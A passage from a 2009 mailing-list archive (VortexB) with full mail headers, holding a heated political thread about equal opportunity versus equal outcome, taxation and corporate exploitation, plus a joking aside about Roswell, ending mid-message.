-----Original Message----- From: leaking pen [mailto:itsatrap@gmail.com]=20 Sent: Thursday, May 28, 2009 4:59 PM To: vortexb-l@eskimo.com Subject: Re: [VoB]:freedom and/or equality No, as all rights automatically include a duty with them. If everyone has the right to free speech, then everyone automatically has a duty to protect and not infringe anothers free speech. Ethics 101 my man. On Thu, May 28, 2009 at 1:19 PM, Jeff Fink wrote: > The only thing I see as the difference after checking my dictionary is that > an opportunity is a chance whereas a liberty is supposed to be a = right. =A0As > rights go, what we have on paper and what we have in actuality is not > necessarily the same. > > Have you considered the possibility that freedom and equality are = mutually > exclusive concepts. > > Jeff > > -----Original Message----- > From: leaking pen [mailto:itsatrap@gmail.com] > Sent: Thursday, May 28, 2009 1:19 PM > To: vortexb-l@eskimo.com > Subject: Re: [VoB]:freedom and/or equality > > This. =A0I fail to see a difference. > > On Thu, May 28, 2009 at 10:12 AM, Jeff Fink wrote: >> What is the difference between opportunity and liberty in your = opinion? >> >> Jeff >> >> -----Original Message----- >> From: Harry Veeder [mailto:hveeder@ncf.ca] >> Sent: Thursday, May 28, 2009 12:16 PM >> To: vortexb-l@eskimo.com >> Subject: Re: [VoB]:freedom and/or equality >> >> neither. >> I prefer equal liberty. >> >> Harry >> >> ----- Original Message ----- >> From: Jeff Fink >> Date: Thursday, May 28, 2009 11:31 am >> Subject: [VoB]:freedom and/or equality >> >>> Would you prefer to live in a society that guarantees equal >>> opportunity, or >>> one that guarantees equal outcome? >>> >>> >>> >>> Jeff >>> >>> >> >> >> >> > > > > From vortexb-l-request@eskimo.com Fri May 29 07:23:10 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4TEN7tS022855; Fri, 29 May 2009 07:23:07 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4TEN7CE022843; Fri, 29 May 2009 07:23:07 -0700 Resent-Date: Fri, 29 May 2009 07:23:07 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:content-type :content-transfer-encoding; bh=igWpz4OHa+UYrTC9Iou3rKA43tL0Hdqb/K6AfICDWQ8=; b=uIf8+UfQ2fPSnWOvET+9GnvK1KF6EHxWHeeensf5+nm7w3WNlNk0N5oJvuaeqdKNn/ 9owFvGoiMGKGDoSmqhL1J5cHQgF5RuCk4j2orEV49XNXiOpeEgGgvHo6qUtxyin6whY9 8DsS/BBqJKk0bMUIkxcyXkt1ugFbn90Ue+PJM= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type:content-transfer-encoding; b=Kb2VFSUh5puqoXdfSoRdyQCD3I8kI+LnvizeTqKERPWv7u4gY1lZhxcdGiQ5jgzCSj Q0MRwgg/C1uJ0YOfpETDTmwaNyDsa1aSwPA/YhZSqtHrKCr0D6RP7Y9LXt3mnNioGrHi Mqr742CIods6BPZ9cRD3WVC8li6K0W9jdrfuk= MIME-Version: 1.0 In-Reply-To: References: <298e62298947.298947298e62@ncf.ca> <53B7112ACEA644E2850C2B3E72DDF907@REVTEC1> Date: Fri, 29 May 2009 07:23:08 -0700 Message-ID: Subject: Re: [VoB]:freedom and/or equality From: leaking pen To: vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4269 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 511 THE PROBLEM IS NOT EXPLOITATION BY THE EMPLOYER! How is it not? Employers, the big ones, get corporate tax breaks, government kickbacks for building and bringing in jobs and "boosting the economy". Roads that are mostly used and used up by freight trucks are paid for and repaired by funds that come from the average citizen, especially taxes on gasoline (which, being a business makes you immune to such taxes). Large companies get a po box in the caymans that protects them from additional tax. How is large scale employers, making billions in profit a yeah, basically cheating the system to not pay taxes on money they would never have made without the governments help in the first place, and that cost then being passed on to the rest of us, NOT exploitation by the employer? and thats before we talk about companies like walmart, that make sure most of their employees are just part time enough to never get benefits, but then hire a person to help their employees enroll in medicaid, rather than having medical insurance plans available... On Fri, May 29, 2009 at 7:12 AM, Jeff Fink wrote: > When you have equality of opportunity, some will act on the opportunity a= nd > some will not. =A0The industrious will prosper more than the lazy. =A0Som= e on > this forum will say that the resulting disparity in wealth is unfair, and > that the wealth of the industrious individuals must be taken and given to > those who have less. =A0This process is a move toward equalizing outcome,= and > is embodied by the graduated income tax system, where achievers are > liberated of their achievement at an ever higher percentage based on thei= r > success. > > Some of the needy truly need help, but many are merely milking the system= . > > Where is freedom if hard working people are looted to give free rides to > slackers. =A0We hear the Marxist axiom "From him according to his ability= to > him according to his need." How much can you bleed the workers with taxes > before they revolt. =A0The US worker is not unhappy about the size of his > paycheck as much as he is unhappy about how little of it he is allowed to > keep. =A0THE PROBLEM IS NOT EXPLOITATION BY THE EMPLOYER! > > If we are truly free, some people will outperform others. =A0If we are fo= rced > to be equal (equal pay for unequal effort), nobody gets ahead, we all giv= e > up trying. =A0The result is not sharing the wealth, but equally sharing t= he > misery. > > In a planned economy, who gets to do the planning? =A0Who does all the wo= rk? > It has always been and always will be the case that the quality of life o= f > the planners will be far better than the life of the planee. =A0There wil= l be > no equality between these two groups. =A0Central planning means micro > managing, which is inefficient, error prone, and ultimately punishes > achievers. > > Jeff. > > -----Original Message----- > From: leaking pen [mailto:itsatrap@gmail.com] > Sent: Thursday, May 28, 2009 4:59 PM > To: vortexb-l@eskimo.com > Subject: Re: [VoB]:freedom and/or equality > > No, as all rights automatically include a duty with them. =A0If everyone > has the right to free speech, then everyone automatically has a duty > to protect and not infringe anothers free speech. =A0Ethics 101 my man. > > On Thu, May 28, 2009 at 1:19 PM, Jeff Fink wrote: >> The only thing I see as the difference after checking my dictionary is > that >> an opportunity is a chance whereas a liberty is supposed to be a right. > =A0As >> rights go, what we have on paper and what we have in actuality is not >> necessarily the same. >> >> Have you considered the possibility that freedom and equality are mutual= ly >> exclusive concepts. >> >> Jeff >> >> -----Original Message----- >> From: leaking pen [mailto:itsatrap@gmail.com] >> Sent: Thursday, May 28, 2009 1:19 PM >> To: vortexb-l@eskimo.com >> Subject: Re: [VoB]:freedom and/or equality >> >> This. =A0I fail to see a difference. >> >> On Thu, May 28, 2009 at 10:12 AM, Jeff Fink wrote: >>> What is the difference between opportunity and liberty in your opinion? >>> >>> Jeff >>> >>> -----Original Message----- >>> From: Harry Veeder [mailto:hveeder@ncf.ca] >>> Sent: Thursday, May 28, 2009 12:16 PM >>> To: vortexb-l@eskimo.com >>> Subject: Re: [VoB]:freedom and/or equality >>> >>> neither. >>> I prefer equal liberty. >>> >>> Harry >>> >>> ----- Original Message ----- >>> From: Jeff Fink >>> Date: Thursday, May 28, 2009 11:31 am >>> Subject: [VoB]:freedom and/or equality >>> >>>> Would you prefer to live in a society that guarantees equal >>>> opportunity, or >>>> one that guarantees equal outcome? >>>> >>>> >>>> >>>> Jeff >>>> >>>> >>> >>> >>> >>> >> >> >> >> > > > > From vortexb-l-request@eskimo.com Fri May 29 16:24:17 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4TNOEsc003171; Fri, 29 May 2009 16:24:15 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4TNOEY9003156; Fri, 29 May 2009 16:24:14 -0700 Resent-Date: Fri, 29 May 2009 16:24:14 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Fri, 29 May 2009 16:24:04 -0700 From: grok To: vortexb-l@eskimo.com Message-ID: <20090529232404.GI16397@shell.resist.ca> Reply-To: grok@resist.ca References: <20090529000844.GL28477@shell.resist.ca> <20090529024930.GB21796@shell.resist.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: 120mm, Long March III, Operation Enduring Freedom, PEM, PFS User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4270 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Re: [Vo]:Roswell Debris Confirmed Status: O X-Status: X-Keywords: X-UID: 512 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Terry Blanton mounted the barricade and roared out: > On Thu, May 28, 2009 at 10:49 PM, grok wrote: > > Personally, I think Demi is a hybrid. Her given name is a hint that > she is half alien. Did you know she appeared nude on the cover of > Vanity Fair twice: once while preggers and the second with temporary > ink? Given her past behavior I would think she be a creature of the Underworld. As for the real Hollywood aliens: Bob Newhart found out they were (gasp!) Larry, Daryl and Daryl..! > Oh, and BTW, you can't use the word "collective" in Vortex. That is > for VortexB only. > > :-Þ > > Terry Ya, Freedom & Democracy are just breaking out everywhere, ain't they? - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkogbpQACgkQXo3EtEYbt3E+UgCgrLmAK/AxYy/YVlgCb2uQCMKc FxwAnifzkXVVcprrsnaKqw50rr34A3X4 =+2nB -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Sat May 30 07:07:50 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4UE7ma7026630; Sat, 30 May 2009 07:07:48 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4UE7lYh026618; Sat, 30 May 2009 07:07:47 -0700 Resent-Date: Sat, 30 May 2009 07:07:47 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-YMail-OSG: ZjQrJMwVM1mXIhm_cK.MkyFz7mOoVjzReQlKadYlZ.wQJ.5cPS55DR5W6Y_cgq0HX5gemnIAhjcQpXc.DIn.A_g1wIcgRnLlSgfGvfhJIG8FFR12VwSBRW96kHtlndMW777ar7Pb3UN26kTTjKySdRCURpi_T.OS7bY84sgGctop8g_USAUicsymeKOpgjVaUd7AEq901XPg82XzWtIsB6SvtxUld17aW_JwLwRkETBHbGGvaVWxcWSSTwhHw5BCXHJOW4Aev1K4lTbUx5qr9Cr4Zhq_VjBrBkemjB1JvOM2Nb6acHWO34dOsD_X4Lv6Eh1wp_qCiLmGniue78v31vIsB0b6r..f X-Yahoo-Newman-Property: ymail-3 From: John Fields To: vortexb-l@eskimo.com Subject: [VoB]:freedom and/or equality Date: Sat, 30 May 2009 09:07:37 -0500 Organization: Austin Instruments. Inc. Message-ID: <2cf225trufi00q60qfdll7h9q7ng0dp9kv@4ax.com> X-Mailer: Forte Agent 4.2/32.1118 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4271 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 513 On Thu, 28 May 2009 20:11:42 -0700, you wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > > >As the smoke cleared, John Fields >mounted the barricade and roared out: > >> >I mean that your government is a criminal, gangster enterprise. >>=20 >> --- >> As usual, you're not making any sense. > >The hell I'm not. You're just dissembling here. Not unusual, apparently. --- Geez, if you're going to use the big words, at least try to get their meanings right. I'm certainly not the one who's hiding anything, I'm doing _your_ layout for you because you obviously can't, what with all the dodge and subterfuge you generate. --- > In this case you stated that: "The Law is an ass, isn't it?" >>=20 >> And then the meaning you assigned to the statement was that the US >> government is a criminal, gangster enterprise. >>=20 >> Search as I might, I could find no definition of "ass" which equates = it >> to a criminal, gangster enterprise. > >It is for you to connect the dots -- or not. And/or to play lawyers' = games. --- Indeed, and connecting the dots brings to light the picture which shows you up for the phony you are.=20 Lawyers' games, OTOH, would more than likely find you guilty of idiocy. --- =20 >> Moreover, even if your definition was accurate, the generality of: = "The >> Law is an ass" would apply to _all_ governments and would brand them = all >> as criminal, gangster enterprises. > >That would definitely be a corollary, yes. But a rather ham-fisted and = imprecise one. --- I disagree.=20 My point was well made, precise, and incontrovertible, and your "refutation" inaccurate. --- >Like that matters with many of youse scientist-like types here, = apparently (again). --- I think what matters to scientists who post to USENET is that we search for truth and shoot down lies. Many of us don't want to engage in popular controversy, so we shy away from that battleground and publish our findings elsewhere. However, some of us delight in bringing charlatans to their knees and, in general, popping balloons blown up with hot air. =20 --- =20 >> You really should think these things out instead of using the = scattergun >> approach and just barking out whatever comes to mind. That is, if you >> want to hang on to the modicum of credibility you have left. >>=20 >> JF =20 > >It's really, really important for you to believe that, isn't it = John-Boy..? --- No, but it should be for you to... JF =20 From vortexb-l-request@eskimo.com Sat May 30 08:12:17 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4UFCFHO018964; Sat, 30 May 2009 08:12:15 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4UFCF4I018955; Sat, 30 May 2009 08:12:15 -0700 Resent-Date: Sat, 30 May 2009 08:12:15 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-YMail-OSG: qXhiB7wVM1nKHuLIJOki1SIdNZ7VBr6kySCM.XzgKjIpXZSlPw1pSddDImJPnH2sVq4cObm6c.tAZqiBHK8eNO8iKl8HtL3HqMHyXuMwK5TyN73HvkwTzSRUWW5_pIs9VdpeliSVNJcL_OEPMCh.3GFKsjTZuhbPzLYQA1CIi6mGgTisc.Hh3.sYMge7T52CmBNOfzwqq2S3VPfZ17N2XbdC.jVUQppJ.eUgMsqPz4IivcIKck0ziYTIlO8X1828ce14VVN6KbjfiAC1h7NpIL5EYQlT52OIvo2quXRNubG0MyL_WbZuuz7CRPhtV11lMjILdFi36JbXBWQEg8xtFg-- X-Yahoo-Newman-Property: ymail-3 From: John Fields To: grok@resist.ca Cc: vortexb-l@eskimo.com Subject: Re: [VoB]:freedom and/or equality Date: Sat, 30 May 2009 10:12:06 -0500 Organization: Austin Instruments. Inc. Message-ID: References: <298e62298947.298947298e62@ncf.ca> <53B7112ACEA644E2850C2B3E72DDF907@REVTEC1> <20090528182011.GA18152@shell.resist.ca> In-Reply-To: <20090528182011.GA18152@shell.resist.ca> X-Mailer: Forte Agent 4.2/32.1118 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Resent-Message-ID: <-uLhtD.A.AoE.PzUIKB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4272 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 514 On Thu, 28 May 2009 11:20:11 -0700, you wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > > >As the smoke cleared, Jeff Fink >mounted the barricade and roared out: > >> What is the difference between opportunity and liberty in your = opinion? >>=20 >> Jeff >>=20 >> -----Original Message----- >> From: Harry Veeder [mailto:hveeder@ncf.ca]=20 >> Sent: Thursday, May 28, 2009 12:16 PM >> To: vortexb-l@eskimo.com >> Subject: Re: [VoB]:freedom and/or equality >>=20 >> neither. >> I prefer equal liberty. >>=20 >> Harry >>=20 >> ----- Original Message ----- >> From: Jeff Fink >> Date: Thursday, May 28, 2009 11:31 am >> Subject: [VoB]:freedom and/or equality >>=20 >> > Would you prefer to live in a society that guarantees equal=20 >> > opportunity, or >> > one that guarantees equal outcome? >> >=20 >> >=20 >> >=20 >> > Jeff > > >Youse are setting up false dichotomonies -- as usual -- but one beloved = of bourgeois >ideologs and propagandists for well over a century, certainly.=20 --- Utter nonsense, and your deceptive response is, once again, designed to confuse the issue and keep you from having to take the stance you've previously championed which you know you'd certainly regret later. That's the coward's way out of accepting responsibility for his errors; pretending he never made them in the first place. --- >And of course, this is the usual 'Idealism vs. Materialism' crapola. --- I don't see it that way. My view is that in a society which guarantees equality of opportunity I get to write my own ticket, to be responsible for my own successes and failures, and to pay for that privilege by helping to maintain the system. In a society which guarantees equal outcome, some collective gets to decide what I should want, or need, and writes my ticket with their wants and/or needs placed ahead of mine. =20 --- >But the way things ACTUALLY are is as Anatole France famously wrote:=20 >"The [bourgeois] law in all its majestic equality, >forbids the rich as well as the poor to sleep under bridges, to beg in = the streets, >and to steal bread." --- If it's less likely that a law will be broken by a rich person than a poor one doesn't mean that the law shouldn't be applied equally, to all. --- >And I think we should all be familiar with how the pious words AND = intent of the U.S. >Constitution not only allowed for centuries of brutal mass chattel = slavery to >continue -- but to continue on for almost a century more.=20 --- Pious words and intent? Hardly. If you read it, dumbass, you'll find that we declared that we were breaking away from the greatest power on Earth at the time and were wanting to set our own course. Old habits die hard, of course, so it took some time for us to redefine our position with respect to slavery after Jefferson's statement that all men are created equal. Less than a century, however, is a short span of time considering how long slavery had existed previously, around the world. In fact, from: http://www.blackpast.org/?q=3Daah/freeman-elizabeth-mum-bett-1742-1829 "In 1781 Freeman, with the assistance of Sedgwick, initiated the case Brom and Bett v. Ashley that set a precedent for the abolition of slavery in Massachusetts. According to the Massachusetts Judicial Review, the 1781 Berkshire county case of Brom and Bett v. Ashley, often referred to as the Mum Bett or Elizabeth Freeman case, was unique because it occurred less than one year after the adoption of the Massachusetts Constitution and because, in contrast to prior freedom suits, there was no claim that John Ashley, the slave owner, had violated a specific law. This case was a direct challenge to the very existence of slavery in Massachusetts."=20 Note that our Declaration of Independence was issued in 1776 and the trial was held in 1781, a span of only five years. ---=20 =20 >so much for fine words. Give me bread FIRST, please. As Bertolt Brecht = famously >wrote as well: "Erst kommt das Fressen Dann kommt die Moral" (First the = grub. Then >the morality). --- _Give_ you bread? Why not let you _earn_ it? --- > >So to HELL with your bourgeois "freedoms" as ends in themselves. We HATE= them so >much, you see. >Pffft. --- You just hate whatever you disagree with and over which you have no control. --- > >NEXT phony argument..! --- Will no doubt come from you... JF =20 From vortexb-l-request@eskimo.com Sat May 30 09:57:13 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4UGvBWY030155; Sat, 30 May 2009 09:57:12 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4UGv7st030135; Sat, 30 May 2009 09:57:07 -0700 Resent-Date: Sat, 30 May 2009 09:57:07 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Sat, 30 May 2009 09:57:00 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:freedom and/or equality Message-ID: <20090530165700.GA23910@shell.resist.ca> Reply-To: grok@resist.ca References: <2cf225trufi00q60qfdll7h9q7ng0dp9kv@4ax.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <2cf225trufi00q60qfdll7h9q7ng0dp9kv@4ax.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: engagement radar, Sao Tome & Principe, Chan, plutonium-241, Silk Road Strategy User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: <53ducB.A.xWH.jVWIKB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4273 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 515 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, John Fields mounted the barricade and roared out: > Geez, if you're going to use the big words, at least try to get their > meanings right. So you intend to keep us going around in circles because you cannot win an argument with me. What is the point, then? > I'm certainly not the one who's hiding anything, I'm doing _your_ layout > for you because you obviously can't, what with all the dodge and > subterfuge you generate. Right. > >> Moreover, even if your definition was accurate, the generality of: "The > >> Law is an ass" would apply to _all_ governments and would brand them all > >> as criminal, gangster enterprises. > > > >That would definitely be a corollary, yes. But a rather ham-fisted and imprecise one. > > --- > I disagree. > > My point was well made, precise, and incontrovertible, and your > "refutation" inaccurate. Ya, sure, whatever. You truly are full of yourself. Never more insufferable when you can wrap yourself in whatever flag of convenience... > >Like that matters with many of youse scientist-like types here, apparently (again). > > --- > I think what matters to scientists who post to USENET is that we search > for truth and shoot down lies. > > Many of us don't want to engage in popular controversy, so we shy away > from that battleground and publish our findings elsewhere. > > However, some of us delight in bringing charlatans to their knees and, > in general, popping balloons blown up with hot air. Even imaginary ones. You are a singularly unimpressive individual whatever it is you do, John Fields. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkohZVwACgkQXo3EtEYbt3FxEACg9SwvpJWap4YDOMO2TR3tD/X8 ploAnjI0AxGK3Q0Gr9McCUHPh4XJ5uJs =vmSv -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Sat May 30 17:19:50 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4V0JlZO016532; Sat, 30 May 2009 17:19:47 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4V0JkFT016521; Sat, 30 May 2009 17:19:46 -0700 Resent-Date: Sat, 30 May 2009 17:19:46 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-YMail-OSG: 1toI.hMVM1l1OUjkltOybErfixh5UALMxQdbGmT.CJ6JXvAm6jrNgd3qceBEC2hB5HmIaTznx2rFf78frJzg0g9xMxoKOm8uNPr0TzJTx420oDPBgQeQtjVBguXffSerBHYezH7xG6BuEK0qng8CWpL8JV8r92KOCOE.bDuvwYSa0xi3n7717nhWFnU80uAZikfItEWaGydTcaB6g_ph5Q89WAF_ZiMguHYtb9FTlqKAfNzwq3Ajp5.wHOmt7OoUU1NPhwwUsHqzYorFftbOlTL_dLLwlBshXNhACSboOzdabO1Q3YWfBV2AfyVIbrcKbmRcMrQLfIafueY5loS_9hsmwZCVlsWV X-Yahoo-Newman-Property: ymail-3 From: John Fields To: grok@resist.ca Cc: vortexb-l@eskimo.com Subject: Re: [VoB]:freedom and/or equality Date: Sat, 30 May 2009 19:19:36 -0500 Organization: Austin Instruments. Inc. Message-ID: References: <2cf225trufi00q60qfdll7h9q7ng0dp9kv@4ax.com> <20090530165700.GA23910@shell.resist.ca> In-Reply-To: <20090530165700.GA23910@shell.resist.ca> X-Mailer: Forte Agent 4.2/32.1118 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Resent-Message-ID: <6lmmAB.A.-BE.i0cIKB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4274 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 516 On Sat, 30 May 2009 09:57:00 -0700, you wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > > >As the smoke cleared, John Fields >mounted the barricade and roared out: > >> Geez, if you're going to use the big words, at least try to get their >> meanings right. > >So you intend to keep us going around in circles because you cannot win = an argument >with me.=20 --- Non-sequitur, and there is no "us". --- >What is the point, then? --- My intention is to show you up for the rascal you are by allowing you enough rope to hang yourself and then pulling the noose taut in front of an audience. So far, so good, since your your little subterfuges and your evasive dances have been duly noted and commented on, and the responses from the audience have been largely not in favor of your shenanigans. --- =20 >> I'm certainly not the one who's hiding anything, I'm doing _your_ = layout >> for you because you obviously can't, what with all the dodge and >> subterfuge you generate. > >Right. --- Sarcasm doesn't negate truth. --- >> >> Moreover, even if your definition was accurate, the generality of: = "The >> >> Law is an ass" would apply to _all_ governments and would brand = them all >> >> as criminal, gangster enterprises. >> > >> >That would definitely be a corollary, yes. But a rather ham-fisted = and imprecise one. >>=20 >> --- >> I disagree.=20 >>=20 >> My point was well made, precise, and incontrovertible, and your >> "refutation" inaccurate. > >Ya, sure, whatever.=20 --- As usual, for you, lazy, sloppy work and an ingenuous heart with no time taken, or effort made to mount a proper rebuttal is de rigueur. Had you been sincere you would have either argued or conceded the point. Instead, pretending to authority, you tried to use sarcasm to make argument seem unworthy of your time and dismissal your right. --- >You truly are full of yourself. Never more insufferable when >you can wrap yourself in whatever flag of convenience... --- I try to wrap myself in the white flag of truth, let the grey spots show up where they must, and then work on making them go away You, on the other hand, seem intent on wrapping yourself in the black flag of lies and, whenever a grey spot appears, pretend it didn't. --- >> >Like that matters with many of youse scientist-like types here, = apparently (again). >>=20 >> --- >> I think what matters to scientists who post to USENET is that we = search >> for truth and shoot down lies. >>=20 >> Many of us don't want to engage in popular controversy, so we shy away >> from that battleground and publish our findings elsewhere. >>=20 >> However, some of us delight in bringing charlatans to their knees and, >> in general, popping balloons blown up with hot air. =20 > >Even imaginary ones. --- Well, there _is_ something to be said about the square root of minus 1.=20 --- >You are a singularly unimpressive individual whatever it is you do, John= Fields. --- Since idiots can't comprehend genius, and therefore consider it wrong, I suggest that your lack of understanding places you on that tack. JF =20 From vortexb-l-request@eskimo.com Sat May 30 20:25:45 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4V3Pef7013918; Sat, 30 May 2009 20:25:40 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4V3PcLJ013885; Sat, 30 May 2009 20:25:38 -0700 Resent-Date: Sat, 30 May 2009 20:25:38 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=b0UyAZxqtiNK+AHR14JoocrXxn4l4dVUoDZQztVybzM=; b=V3t+RoK5EtqGksClxbT7LOe6n7O1y/MF2UEQDCh/9OVVX6CkNnqP/tlXWwbLG+EMUs 965B3FRbET8iBSCgwsEeUXQNb6gc7/NmNOa+sq0jc4e1xdI5OO+3eLuj48AINXh4jvQ+ KSH42OAQTnMvPVQ+Pl7u6bXpUjDa+oTt9VMfs= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=UPF1ed7qeTGOg/YKV2zEbD3XCKP4JHk2vqK4uc7E5NitdQGN7cUe9F/VUqAO3HFT2W mniAy4ElfOe6+/BOf9jZfc5X1AkzVRXHItc7LbokgWcqkIGtHWIosOESb3KP9uSYlVMX c6rEtVUKdhPh4E6ojcHM7Vvji1JYrMHMKfYvw= MIME-Version: 1.0 In-Reply-To: References: <298e62298947.298947298e62@ncf.ca> <53B7112ACEA644E2850C2B3E72DDF907@REVTEC1> From: Charles HOPE Date: Sat, 30 May 2009 23:25:17 -0400 Message-ID: <63ffa6020905302025o47ea89e0y488c141e40ae6225@mail.gmail.com> Subject: Re: [VoB]:freedom and/or equality To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=000e0cd1ea6efcf2fa046b2cdc0d Resent-Message-ID: <_qRfSC.A.3YD.yifIKB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4275 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 517 --000e0cd1ea6efcf2fa046b2cdc0d Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Is it really possible that employers extract more than the government does? If the accounting is performed, I'm sure you'll find employer extraction of surplus 